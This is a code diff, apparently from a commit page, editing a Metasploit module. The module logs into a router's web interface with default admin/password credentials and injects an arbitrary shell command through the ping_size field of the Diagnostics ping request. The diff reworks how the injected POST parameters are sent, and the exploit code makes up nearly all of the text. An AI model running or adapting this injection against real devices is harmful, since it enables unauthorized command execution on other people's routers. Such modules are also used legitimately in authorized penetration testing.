@@ -40,7 +40,6 @@ def initialize(info = {})
40
40
41
41
register_options (
42
42
[
43
- Opt ::RPORT ( 80 ) ,
44
43
OptString . new ( 'USERNAME' , [ true , 'User to login with' , 'admin' ] ) ,
45
44
OptString . new ( 'PASSWORD' , [ true , 'Password to login with' , 'password' ] ) ,
46
45
OptString . new ( 'CMD' , [ true , 'The command to execute' , 'ping 127.0.0.1' ] )
@@ -61,8 +60,8 @@ def run
61
60
'authorization' => basic_auth ( user , pass )
62
61
} )
63
62
64
- return :abort if res . nil?
65
- return :abort if ( res . code == 404 )
63
+ return if res . nil?
64
+ return if ( res . code == 404 )
66
65
67
66
if [ 200 , 301 , 302 ] . include? ( res . code )
68
67
print_good ( "#{ rhost } :#{ rport } - Successful login #{ user } /#{ pass } " )
@@ -81,32 +80,33 @@ def run
81
80
82
81
cmd = datastore [ 'CMD' ]
83
82
#original post request:
84
- data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{ cmd } %26&ping_times=5&traceroute_ip="
83
+ #data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
84
+ #action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
85
85
86
- vprint_status ( "#{ rhost } :#{ rport } - using the following target URL: \n #{ uri } " )
86
+ vprint_status ( "#{ rhost } :#{ rport } - using the following target URL: #{ uri } " )
87
87
begin
88
88
res = send_request_cgi (
89
89
{
90
90
'uri' => uri ,
91
91
'method' => 'POST' ,
92
92
'authorization' => basic_auth ( user , pass ) ,
93
- 'data' => data_cmd
94
- #vars_post not working?
95
- # 'vars_post' => {
96
- # "submit_button" => "Diagnostics",
97
- # "change_action" => "gozila_cgi",
98
- # "submit_type" => "start_ping",
99
- # "action" => "",
100
- # "commit" => "0",
101
- # "ping_ip" => "1.1.1.1",
102
- # "ping_size" => "%26#{cmd}%26",
103
- # "ping_times" => "5",
104
- # "traceroute_ip" => ""
105
- # }
93
+ # 'data' => data_cmd
94
+ 'encode_params' => false ,
95
+ 'vars_post' => {
96
+ "submit_button" => "Diagnostics" ,
97
+ "change_action" => "gozila_cgi" ,
98
+ "submit_type" => "start_ping" ,
99
+ "action" => "" ,
100
+ "commit" => "0" ,
101
+ "ping_ip" => "1.1.1.1" ,
102
+ "ping_size" => "%26#{ cmd } %26" ,
103
+ "ping_times" => "5" ,
104
+ "traceroute_ip" => ""
105
+ }
106
106
} )
107
107
rescue ::Rex ::ConnectionError
108
108
vprint_error ( "#{ rhost } :#{ rport } - Failed to connect to the web server" )
109
- return :abort
109
+ return
110
110
end
111
111
print_status ( "#{ rhost } :#{ rport } - Blind Exploitation - unknown Exploitation state" )
112
112
end
0 commit comments